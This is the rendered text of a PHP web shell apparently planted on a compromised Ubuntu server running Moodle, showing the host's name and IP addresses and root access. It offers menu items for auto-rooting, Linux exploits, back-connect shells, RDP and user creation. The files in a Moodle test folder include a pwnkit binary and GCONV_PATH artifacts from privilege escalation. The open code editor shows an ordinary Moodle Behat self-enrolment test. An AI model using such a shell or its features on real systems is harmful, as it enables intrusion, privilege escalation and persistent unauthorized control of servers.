Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
enrol /
self /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
key_holder.feature
1.75
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
self_enrolment.feature
5.04
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : key_holder.feature
@enrol @enrol_self Feature: Users can be defined as key holders in courses where self enrolment is allowed In order to participate in courses As a user I need to auto enrol me in courses Background: Given the following "roles" exist: | shortname | name | context_course | enrol/self:holdkey | | keyholder | Key holder | 1 | allow | And the following "users" exist: | username | firstname | lastname | email | | manager1 | Manager | 1 | manager1@example.com | | student1 | Student | 1 | student1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And I log in as "admin" And I navigate to "Appearance > Courses" in site administration And I set the following fields to these values: | Key holder | 1 | And I press "Save changes" And the following "course enrolments" exist: | user | course | role | | manager1 | C1 | keyholder | And I log out @javascript Scenario: The key holder name is displayed on site home page Given I log in as "admin" And I am on "Course 1" course homepage When I add "Self enrolment" enrolment method with: | Custom instance name | Test student enrolment | | Enrolment key | moodle_rules | And I log out And I log in as "student1" And I am on "Course 1" course homepage And I should see "You should have received this enrolment key from:" And I should see "Manager 1" And I set the following fields to these values: | Enrolment key | moodle_rules | And I press "Enrol me" Then I should see "Topic 1" And I should not see "Enrolment options" And I should not see "Enrol me in this course"
Close